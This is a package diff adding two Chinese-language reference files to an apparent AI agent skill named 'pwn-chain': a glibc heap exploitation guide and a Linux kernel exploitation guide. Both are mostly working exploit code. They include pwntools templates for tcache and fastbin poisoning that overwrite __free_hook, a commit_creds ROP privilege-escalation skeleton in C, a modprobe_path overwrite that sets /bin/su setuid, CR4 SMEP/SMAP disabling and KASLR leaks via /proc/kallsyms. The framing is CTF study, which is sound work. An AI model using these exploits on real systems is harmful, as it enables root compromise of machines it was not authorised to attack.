opencode-skills-collection 4.0.42 → 4.0.44

package/bundled-skills/pwn-chain/references/heap-pwn.md

@@ -0,0 +1,283 @@
+# 堆类利用 (Heap Pwn)
+
+## glibc 版本差异（必看）
+
+堆利用的所有技术都跟 glibc 版本强绑定。先确认版本：
+
+```bash
+./libc.so.6 | head -1
+# GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
+
+# 或 strings
+strings ./libc.so.6 | grep "GNU C Library"
+```
+
+| glibc 版本 | 关键变化 | 影响 |
+|-----------|---------|------|
+| 2.26 及之前 | 无 tcache | unsorted/fastbin 是主战场 |
+| 2.27 | **引入 tcache** | tcache poisoning 极其简单 |
+| 2.29 | unsorted bin unlink 加固（chunk size 检查） | unsorted bin attack 被砍 |
+| 2.31 | tcache 多重检查（key 字段） | tcache poisoning 略复杂 |
+| 2.32 | **safe-linking**（fd 指针异或 PROTECT_PTR） | 需要先 leak heap base |
+| 2.34 | **移除 __free_hook / __malloc_hook** | 改走 FILE struct / exit handlers |
+| 2.35+ | 进一步加固 | 同 2.34，FILE 路径仍可用 |
+
+## tcache poisoning (2.27 - 2.31)
+
+### 原理
+
+tcache 是 per-thread cache，每个 size class 一条链表，单链表（只有 fd）。
+double free 检查在 2.29 之前只看链表头是不是自己，不看遍历。
+
+### 利用模板（2.27 - 2.31）
+
+```python
+from pwn import *
+
+p = process('./vuln')
+libc = ELF('./libc.so.6')
+
+def add(idx, size, data=b'a'):
+    p.sendlineafter(b'> ', b'1')
+    p.sendlineafter(b'idx: ', str(idx).encode())
+    p.sendlineafter(b'size: ', str(size).encode())
+    p.sendafter(b'data: ', data)
+
+def free(idx):
+    p.sendlineafter(b'> ', b'2')
+    p.sendlineafter(b'idx: ', str(idx).encode())
+
+def show(idx):
+    p.sendlineafter(b'> ', b'3')
+    p.sendlineafter(b'idx: ', str(idx).encode())
+    return p.recvline().strip()
+
+# === Step 1: leak libc base ===
+# 申请大于 tcache 范围的 chunk（>0x408），free 进 unsorted bin，残留 main_arena 指针
+for i in range(8):
+    add(i, 0x80)
+add(8, 0x80)  # 防止合并
+for i in range(7):
+    free(i)
+free(7)       # 第 8 个进 unsorted bin，fd/bk 指向 main_arena+96
+add(9, 0x80)  # 切回来一部分，保留 fd
+leak = u64(show(9).ljust(8, b'\x00'))
+libc.address = leak - 0x3ebca0  # main_arena+96 偏移，glibc 2.27 amd64
+log.success(f'libc = {hex(libc.address)}')
+
+# === Step 2: tcache poisoning → 写 __free_hook ===
+add(10, 0x30)
+add(11, 0x30)
+free(10)
+free(11)
+# 用 UAF 改 chunk11 的 fd 指向 __free_hook
+edit(11, p64(libc.sym['__free_hook']))
+add(12, 0x30)  # 取出 chunk11
+add(13, 0x30, p64(libc.sym['system']))  # 取出来的就是 __free_hook 地址，写 system
+
+# 触发：free 一个内容为 "/bin/sh\x00" 的 chunk
+add(14, 0x30, b'/bin/sh\x00')
+free(14)
+
+p.interactive()
+```
+
+## safe-linking 绕过 (2.32+)
+
+```text
+原理：tcache/fastbin 的 fd 写入时被 PROTECT_PTR 异或：
+    PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr
+
+绕过：
+1. 必须先 leak 一个堆地址（heap base）
+2. 计算 obfuscated 值：fake_fd_obf = (chunk_addr >> 12) ^ target
+3. 写进去
+```
+
+```python
+def protect_ptr(pos, ptr):
+    return (pos >> 12) ^ ptr
+
+# leak heap base（unsorted bin 残留 / tcache fd 残留）
+heap_base = leaked_heap & ~0xfff
+
+# poisoning
+fake_fd = protect_ptr(heap_base + chunk_off, target_addr)
+edit(chunk_id, p64(fake_fd))
+```
+
+## fastbin attack (传统，2.26 及之前为主)
+
+```text
+关键点：
+1. fastbin 单链表（只有 fd），无 size 检查除了 chunk size 必须匹配
+2. 2.27 后 tcache 优先，fastbin 只有 tcache 满了才用
+3. 仍然需要伪造一个看起来像 chunk 的内存（size 字段 = 真实 chunk size，± 一些）
+```
+
+```python
+# double free
+add(0, 0x60)
+add(1, 0x60)
+free(0)
+free(1)
+free(0)  # fastbin: 0 → 1 → 0
+
+# 把 fd 改成 fake chunk（要求 fake_addr + 8 处的 size 字节匹配 0x70）
+add(2, 0x60, p64(fake_addr))
+add(3, 0x60)
+add(4, 0x60)  # 取出 fake_addr 处的 chunk
+```
+
+## unsorted bin attack（仅 2.28 及之前）
+
+```text
+原理：写任意地址为 main_arena+88
+2.29 起加了 bck->fd == victim 的检查，绕不过
+用途：覆盖 global_max_fast 让小 chunk 也走 fastbin → 配合 fastbin attack
+```
+
+```python
+# 申请 unsorted size chunk
+add(0, 0x100)
+add(1, 0x100)  # 防止 top consolidation
+free(0)
+# UAF 改 bk 指针为 target - 0x10
+edit(0, p64(0) + p64(target - 0x10))
+add(2, 0x100)  # 从 unsorted 取出 → unlink → main_arena+88 写到 target
+```
+
+## large bin attack
+
+```text
+原理：large bin 比 unsorted 多一层 fd_nextsize / bk_nextsize
+2.32 起也加了 chunk size 检查，但仍可用于改 global_max_fast、_IO_list_all 等
+高级技巧，常用于 House of Husk 等组合拳
+```
+
+## House of XXX 速查
+
+| 名称 | 适用版本 | 核心思想 |
+|------|---------|---------|
+| House of Force | 2.28 及之前 | 改 top chunk size 为巨大值 → malloc 任意地址 |
+| House of Lore | 全版本 | 伪造 small bin 链 → 返回任意地址 |
+| House of Orange | 2.23-2.30 | unsorted attack 改 _IO_list_all 触发 _IO_flush_all_lockp |
+| House of Roman | 2.23-2.26 | 12-bit 爆破 + fastbin attack to __malloc_hook |
+| House of Einherjar | 全版本 | 伪造 prev_size + PREV_INUSE=0 → backward consolidation |
+| House of Botcake | 2.27+ | tcache + unsorted bin 组合，绕过 tcache double free 检查 |
+| House of Husk | 2.27+ | 改 printf 的 hook table（__printf_function_table） |
+| House of Cat | 2.34+ | _IO_wfile_seekoff vtable 利用，针对无 hook 版本 |
+| House of Apple | 2.34+ | _IO_wfile_jumps + setcontext gadget |
+
+## 真实利用步骤（通用 4 步）
+
+```text
+Step 1: leak heap base
+  - 申请 chunk → free 到 tcache（2.32+ 保留 obfuscated fd） → show → 反推 heap
+  - 或：申请大 chunk → free 到 unsorted → 切回 → show fd
+
+Step 2: leak libc base
+  - 大 chunk free 到 unsorted bin，fd/bk 残留 main_arena 地址
+  - show → leak → libc.address = leak - main_arena_offset
+
+Step 3: 控 IP
+  - 2.27-2.33: tcache/fastbin poisoning → 写 __free_hook 或 __malloc_hook
+  - 2.34+: FILE struct 攻击（_IO_2_1_stdout_ / stderr），改 vtable → _IO_wfile_jumps
+  - 或：劫持 exit handlers（__exit_funcs / tls_dtor_list）
+
+Step 4: getshell
+  - free_hook = system, free("/bin/sh") → shell
+  - 2.34+: setcontext + 53 gadget → rop chain in heap → execve
+```
+
+## libc 2.34+ 没有 hook 之后的替代路径
+
+### FILE struct 攻击（_IO_2_1_stdout_ / _IO_2_1_stderr_）
+
+```text
+目标：当程序调用 puts/printf 时，最终走到 _IO_file_xsputn → _IO_OVERFLOW → 调用 vtable
+劫持：
+  1. 覆盖 _IO_2_1_stderr_ 的 vtable 指针指向伪造的 vtable
+  2. 伪造 vtable，让 __overflow 字段指向 system 或 setcontext
+  3. 让 fp（FILE*）本身的前 8 字节是 "/bin/sh\x00"（作为 system 的 rdi）
+触发：任何 puts/printf/abort/exit 都会冲刷 stderr
+```
+
+### Exit handlers (`__exit_funcs` / `tls_dtor_list`)
+
+```text
+原理：__run_exit_handlers 遍历 __exit_funcs 链表，调用每个 dtor
+劫持：改链表节点的 func 指针指向 system，arg 指向 "/bin/sh"
+注意：2.34+ 加了 PTR_DEMANGLE，需要 leak tls 里的 fs:[0x30] guard 值才能伪造
+```
+
+### tls_dtor_list（更现代）
+
+```text
+__call_tls_dtors 遍历，结构类似，同样要绕过 PTR_DEMANGLE
+适用：程序退出时会走，比 FILE 攻击更通用
+```
+
+## pwndbg / GEF 堆调试命令
+
+```text
+# pwndbg
+heap              # 显示当前 arena 所有 chunk
+bins              # 显示 tcache / fastbin / unsorted / small / large bins
+tcache            # 单独看 tcache
+find_fake_fast <addr> <size>  # 找一个能用作 fake chunk 的 fd 写入点
+vis_heap_chunks   # 可视化堆布局
+
+# GEF
+heap chunks
+heap bins fast
+heap bins tcache
+heap chunk <addr>
+```
+
+## 典型 pwntools 模板（heap menu 题）
+
+```python
+from pwn import *
+
+context.binary = elf = ELF('./vuln')
+libc = ELF('./libc.so.6')
+
+p = process('./vuln') if not args.REMOTE else remote('host', 1337)
+
+# IO 包装
+def menu(choice):
+    p.sendlineafter(b'choice:', str(choice).encode())
+
+def add(idx, size, data=b'\n'):
+    menu(1)
+    p.sendlineafter(b'idx:', str(idx).encode())
+    p.sendlineafter(b'size:', str(size).encode())
+    if data != b'\n':
+        p.sendafter(b'data:', data)
+
+def free(idx):
+    menu(2)
+    p.sendlineafter(b'idx:', str(idx).encode())
+
+def show(idx):
+    menu(3)
+    p.sendlineafter(b'idx:', str(idx).encode())
+    return p.recvline().strip()
+
+def edit(idx, data):
+    menu(4)
+    p.sendlineafter(b'idx:', str(idx).encode())
+    p.sendafter(b'data:', data)
+
+# === 后续根据漏洞类型选择技术栈 ===
+```
+
+## 注意事项
+
+- **glibc 版本是第一性问题** — 同一个二进制配 2.27 libc 和 2.34 libc，利用路径完全不同
+- **tcache 容量 = 7**（每个 size class）— 喷射够 7 个才会溢出到 unsorted/fastbin
+- **chunk size = 用户请求 + 0x10 头部，向 0x10 对齐**（不算 0x10 头时实际可写超出 0x8 因为下一个 chunk 的 prev_size 被复用）
+- **远程堆喷不稳** — 服务端 fork 模型每次连接 brk/mmap 可能不同，要做随机化测试
+- **不要在 attack 链中遗留 unsorted 残留** — main_arena 指针出现在意外的 chunk 里会让后续 show 输出错乱
+- **safe-linking 错误率** — 计算 PROTECT_PTR 时记得是 `pos >> 12`，pos 是要写入的地址不是要指向的地址

package/bundled-skills/pwn-chain/references/kernel-pwn.md

@@ -0,0 +1,370 @@
+# 内核 Pwn (Kernel Pwn)
+
+## 准备环境
+
+典型内核题包：
+
+```text
+kernel/
+├── bzImage          # 压缩内核镜像
+├── vmlinux          # 未压缩内核（带符号，用于 gdb）
+├── initramfs.cpio.gz / rootfs.img
+├── vuln.ko          # 漏洞驱动
+├── run.sh           # qemu 启动脚本
+└── (.config)        # 编译配置，可选
+```
+
+### 拆 initramfs 改 init 脚本
+
+```bash
+mkdir initramfs && cd initramfs
+zcat ../initramfs.cpio.gz | cpio -idm
+# 或 newc 格式：
+# cpio -idm < ../initramfs.cpio
+
+# 改 init 拿 root（CTF 学习用，真实题目通常 setuid 1000）
+sed -i 's|setuidgid 1000|setuidgid 0|g' init
+# 或注释掉 user 切换那一行
+
+# 重新打包
+find . | cpio -o --format=newc | gzip > ../initramfs.cpio.gz
+cd ..
+```
+
+### 提取 vmlinux（如果只给了 bzImage）
+
+```bash
+# 用 extract-vmlinux 脚本（kernel 源码 scripts/）
+/usr/src/linux/scripts/extract-vmlinux ./bzImage > vmlinux
+```
+
+### QEMU 启动参数模板
+
+```bash
+#!/bin/sh
+qemu-system-x86_64 \
+    -m 256M \
+    -kernel ./bzImage \
+    -initrd ./initramfs.cpio.gz \
+    -cpu kvm64,+smep,+smap \
+    -append "console=ttyS0 nokaslr quiet oops=panic panic=1" \
+    -monitor /dev/null \
+    -nographic \
+    -no-reboot \
+    -s    # 开 gdb 端口 1234
+```
+
+关键参数对应的保护：
+
+| 参数 | 含义 | 影响利用 |
+|------|------|---------|
+| `+smep` | 内核态不能执行用户态代码 | 必须用 ROP，不能跳到用户态 shellcode |
+| `+smap` | 内核态不能访问用户态数据 | rop 链不能放用户态，要放内核态（堆喷 / msgsnd） |
+| `+pku` | Protection Keys | 类似 SMAP |
+| `nokaslr` | 禁用 KASLR | 函数地址固定 |
+| `kaslr` | 启用 KASLR | 必须 leak |
+| `pti=on` | KPTI（Meltdown 修复） | 用户态返回需要 swapgs_restore_regs_and_return_to_usermode |
+
+### 调试
+
+```bash
+# 终端 1
+./run.sh   # 带 -s
+
+# 终端 2
+gdb vmlinux
+(gdb) target remote :1234
+(gdb) b vulnerable_ioctl
+(gdb) c
+```
+
+GEF 推荐用 bata24 维护的 fork，对内核结构体有专门 pretty-print。
+
+## 漏洞类型分流
+
+| 漏洞 | 典型来源 | 利用基线 |
+|------|---------|---------|
+| 内核栈溢出 | copy_from_user 长度可控 | 栈金丝雀 + KASLR → ROP |
+| 内核堆溢出 | kmalloc slab 越界写 | slab 喷射 + 覆盖相邻对象 |
+| UAF | refcount 错误 / 双 free | 重新申请同 slab → 控制释放对象 |
+| 整数溢出 | size 计算溢出 → 小分配大拷贝 | 实际是溢出，同上 |
+| TOCTOU | 用户态指针二次解引用 | userfaultfd / FUSE 拖时间 |
+| race | 双线程同时 ioctl | 卡时序窗口 |
+| 任意读写 | 已经是终极原语 | 直接改 cred / modprobe_path |
+
+## slab 喷射（堆 pwn 核心）
+
+把可控大小的内核对象喷到漏洞 slab，覆盖目标对象。
+
+| slab size | 喷射对象 | 优点 |
+|-----------|---------|------|
+| kmalloc-64 / 96 | `seq_operations` | 有函数指针，覆盖即控 IP |
+| kmalloc-1024 | `tty_struct` | 有 ops 指针，结构精美 |
+| kmalloc-4096 | `pipe_buffer` | 现代版主力，6.x 仍有效 |
+| 任意 size | `msg_msg` | 大小可控（8 - 4096+），sysv msgsnd 控数据 |
+| kmalloc-128 | `user_key_payload` | keyctl 系列接口 |
+
+### msg_msg 喷射示例
+
+```c
+// 用户态触发
+int msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
+
+struct {
+    long mtype;
+    char mtext[0x80 - 0x30];  // 加上 msg_msg 头 0x30 = kmalloc-128
+} msg = { .mtype = 0x1337 };
+memset(msg.mtext, 'A', sizeof(msg.mtext));
+
+msgsnd(msqid, &msg, sizeof(msg.mtext), 0);   // 喷到 kmalloc-128
+// ... 触发漏洞覆盖
+msgrcv(msqid, &msg, sizeof(msg.mtext), 0, 0); // 读回看是不是被改了 → leak
+```
+
+## 提权路径
+
+### 1. commit_creds(prepare_kernel_cred(0)) ROP
+
+经典且通用。前提：能控 RIP（栈溢出 / vtable 劫持）。
+
+```c
+// 用户态 ROP 链
+uint64_t rop[] = {
+    pop_rdi,                          // pop rdi; ret
+    0,                                // arg: 0
+    prepare_kernel_cred,              // → 返回 root cred 到 rax
+    pop_rdi,                          // pop rdi; ret
+    /* 占位，下面 mov 会覆盖 */ 0,
+    /* mov rdi, rax; ... ; ret */ 0,  // 转 rax→rdi（部分需要专门 gadget）
+    commit_creds,                     // 设置当前进程 cred = root
+    swapgs_restore_regs_and_return_to_usermode + 22,  // 跳过 push 序列
+    0, 0,                             // rax, rdi 占位
+    user_rip,                         // 用户态返回函数（保存了 cs/ss）
+    user_cs, user_rflags, user_rsp, user_ss,
+};
+```
+
+**关键 gadget**（要在 vmlinux 里 ROPgadget 找）:
+
+```bash
+ROPgadget --binary vmlinux --only "pop|ret" | grep 'pop rdi'
+ROPgadget --binary vmlinux --only "mov|ret" | grep 'mov rdi, rax'
+```
+
+返回用户态前必须保存 cs/ss/rflags/rsp：
+
+```c
+void save_state() {
+    __asm__(
+        "movq %%cs, %0\n"
+        "movq %%ss, %1\n"
+        "pushfq; popq %2\n"
+        "movq %%rsp, %3\n"
+        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp));
+}
+void shell() { system("/bin/sh"); }
+```
+
+### 2. modprobe_path 改 /tmp/x（最省事）
+
+```text
+原理：
+  - 内核全局变量 modprobe_path 默认 "/sbin/modprobe"
+  - 当 execve 一个不认识 magic 的文件时，内核调用 modprobe_path 以 root 执行
+  - 改成 "/tmp/x"，写 /tmp/x（chmod +x），触发未知 magic 执行
+  
+适用：有任意写原语，但不一定能 ROP
+```
+
+```c
+// 1. 准备 payload
+system("echo -e '#!/bin/sh\nchmod +s /bin/su' > /tmp/x");
+system("chmod +x /tmp/x");
+
+// 2. 准备触发文件
+system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/trigger");
+system("chmod +x /tmp/trigger");
+
+// 3. 漏洞写：把 modprobe_path 改成 "/tmp/x\x00"
+arbitrary_write(modprobe_path_addr, "/tmp/x\x00");
+
+// 4. 触发
+system("/tmp/trigger");
+// 内核 root 跑 /tmp/x，做了 chmod +s /bin/su
+
+// 5. 利用 setuid
+system("/bin/su");
+```
+
+**modprobe_path 地址来源**：vmlinux 里符号，或 /proc/kallsyms（如果 kptr_restrict=0）。
+
+### 3. core_pattern hijack
+
+```text
+类似思想：/proc/sys/kernel/core_pattern 控制 coredump 处理程序
+改成 "|/tmp/x %P"，让进程崩溃时调用
+缺点：需要触发 coredump，比 modprobe_path 笨重
+```
+
+### 4. 内核 ROP 关 SMEP/SMAP
+
+如果就是想跳回用户态 shellcode（学习目的），可以 ROP 关 cr4 的 bit:
+
+```c
+// CR4: SMEP = bit 20, SMAP = bit 21
+// 关 SMEP+SMAP 后，jmp 到用户态 shellcode 才能跑
+uint64_t rop[] = {
+    pop_rdi,
+    0x6f0,                  // CR4 期望值（去掉 SMEP/SMAP 位）
+    mov_cr4_rdi,            // "mov cr4, rdi; pop rbp; ret" 之类
+    0,
+    user_shellcode_addr,    // 跳过去（如果还没关 SMEP 这步会失败）
+};
+```
+
+实际上**真实利用基本不走这条路** — 直接 commit_creds ROP 更短更稳。
+
+## KASLR leak 渠道
+
+| 来源 | 限制 | 备注 |
+|------|------|------|
+| /proc/kallsyms | `kptr_restrict=0` 才有真地址 | CTF 常常开放 |
+| /sys/module/.../sections/.text | 同上 | 模块基址 |
+| dmesg | `dmesg_restrict=0` 才能读 | oops 信息泄漏地址 |
+| 内核栈未初始化读 | 漏洞本身要能任意读 | 残留地址 |
+| msg_msg + 漏洞 leak | 喷射后 OOB read | 通用 |
+| 旁路（Meltdown/Spectre） | KPTI 修了 Meltdown | 不通用 |
+| SIDT/SGDT 用户态指令 | 老内核可能漏 | 现代基本封了 |
+
+```c
+// 经典：从 /proc/kallsyms 读
+FILE *f = fopen("/proc/kallsyms", "r");
+char line[256];
+unsigned long commit_creds = 0;
+while (fgets(line, sizeof(line), f)) {
+    if (strstr(line, " commit_creds")) {
+        commit_creds = strtoul(line, NULL, 16);
+        break;
+    }
+}
+unsigned long kbase = commit_creds - 0xXXXXX;  // 偏移看 vmlinux
+```
+
+## 完整 exploit 模板（用户态 + ioctl 触发 + ROP 提权 + shell）
+
+```c
+// exploit.c — 内核 pwn 通用骨架
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+
+static unsigned long user_cs, user_ss, user_rflags, user_rsp;
+
+static void save_state(void) {
+    __asm__ volatile(
+        "movq %%cs,   %0\n"
+        "movq %%ss,   %1\n"
+        "pushfq; popq %2\n"
+        "movq %%rsp,  %3\n"
+        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp)
+        :: "memory");
+}
+
+static void win(void) {
+    if (getuid() == 0) {
+        puts("[+] root!");
+        system("/bin/sh");
+    } else {
+        puts("[-] not root");
+    }
+    exit(0);
+}
+
+// === KASLR base（先 leak 或 nokaslr 时直接写死） ===
+#define KBASE_DEFAULT  0xffffffff81000000UL
+#define OFF_COMMIT_CREDS         0x0xxxxx
+#define OFF_PREPARE_KERNEL_CRED  0x0xxxxx
+#define OFF_POP_RDI              0x0xxxxx
+#define OFF_MOV_RDI_RAX          0x0xxxxx
+#define OFF_SWAPGS_RESTORE       0x0xxxxx
+
+int main(void) {
+    save_state();
+
+    // 1. leak KASLR base（这里假设 /proc/kallsyms 可读，或自己写一个 leak primitive）
+    unsigned long kbase = leak_kbase();
+
+    unsigned long prepare_kernel_cred = kbase + OFF_PREPARE_KERNEL_CRED;
+    unsigned long commit_creds        = kbase + OFF_COMMIT_CREDS;
+    unsigned long pop_rdi             = kbase + OFF_POP_RDI;
+    unsigned long mov_rdi_rax         = kbase + OFF_MOV_RDI_RAX;
+    unsigned long swapgs_restore      = kbase + OFF_SWAPGS_RESTORE + 22;
+
+    // 2. 构造 ROP（在用户栈或在喷出来的 fake 栈上）
+    unsigned long *rop = mmap((void*)0x100000, 0x1000,
+                              PROT_READ|PROT_WRITE,
+                              MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0);
+    int i = 0;
+    rop[i++] = pop_rdi;
+    rop[i++] = 0;
+    rop[i++] = prepare_kernel_cred;
+    rop[i++] = mov_rdi_rax;
+    rop[i++] = commit_creds;
+    rop[i++] = swapgs_restore;
+    rop[i++] = 0;  // rax
+    rop[i++] = 0;  // rdi
+    rop[i++] = (unsigned long)win;
+    rop[i++] = user_cs;
+    rop[i++] = user_rflags;
+    rop[i++] = (unsigned long)(rop + 100);  // 临时 user rsp，可指 mmap 高处
+    rop[i++] = user_ss;
+
+    // 3. 触发漏洞，让内核 RIP 跳到 rop[0]
+    int fd = open("/dev/vuln", O_RDWR);
+    trigger(fd, rop);   // 题目相关：ioctl / write / read
+
+    return 0;
+}
+```
+
+## 学习参考：CVE-2022-0185
+
+```text
+漏洞：fs/fs_context.c 中 legacy_parse_param 长度计算有符号 / 无符号混淆
+      → kmalloc 堆缓冲区溢出，size 任意，data 任意
+
+为什么是好的学习样本：
+1. 不需要 root 触发（unprivileged user namespace）
+2. 溢出大小完全可控
+3. 公开有完整 writeup + PoC
+4. 综合了：user_ns 利用、msg_msg 喷射、UAF 后重占用、跨缓存利用
+
+学习路径：
+1. 编译带 CONFIG_USER_NS=y 的内核
+2. 跑 Crusaders of Rust 的原版 PoC：https://www.openwall.com/lists/oss-security/2022/01/18/7
+3. 看 willsroot.io 的官方 writeup（PortSwigger 收录的版本）
+4. 手动重写：把 msg_msg 喷射改成 pipe_buffer 喷射版本（练习不同 slab 路径）
+5. 加上 KASLR leak（原版用 /proc/kallsyms，挑战版禁用后改 OOB read）
+```
+
+主要技术点对应本文档的章节：
+
+- 漏洞类型 → "内核堆溢出"
+- 喷射对象 → "msg_msg 喷射"
+- 提权方法 → "commit_creds ROP" 或 "modprobe_path"
+- KASLR leak → "/proc/kallsyms" 或 "msg_msg + 漏洞 leak"
+
+## 注意事项
+
+- **CONFIG_RANDOM_KSTACK_OFFSET / RANDOMIZE_KSTACK_OFFSET_DEFAULT** 让内核栈基址每次 syscall 都随机偏移 0-1023，影响所有依赖固定栈偏移的利用
+- **CONFIG_SLAB_FREELIST_RANDOM / HARDENED** 让 slab 内对象分配随机化，喷射成功率下降，要多喷
+- **CONFIG_STATIC_USERMODEHELPER** 把 modprobe_path 设为只读 `static_usermodehelper_path`，modprobe 攻击失效
+- **KPTI** 让用户态/内核态页表分离，返回用户态必须走 `swapgs_restore_regs_and_return_to_usermode` 这个 trampoline，不能直接 swapgs+iretq
+- **FG-KASLR**（function-granular KASLR）让函数级别随机化，需要 leak 多个符号反推每个函数偏移
+- **CET / IBT**（Intel 控制流强制）让间接跳转必须落在 ENDBR 指令，部分 gadget 失效
+- **不要在内核里调 printk 输出测试** — 串口 IO 会改变时序，破坏 race；用一个 magic 寄存器值（rcx=0xdeadbeef）+ gdb watch 来调试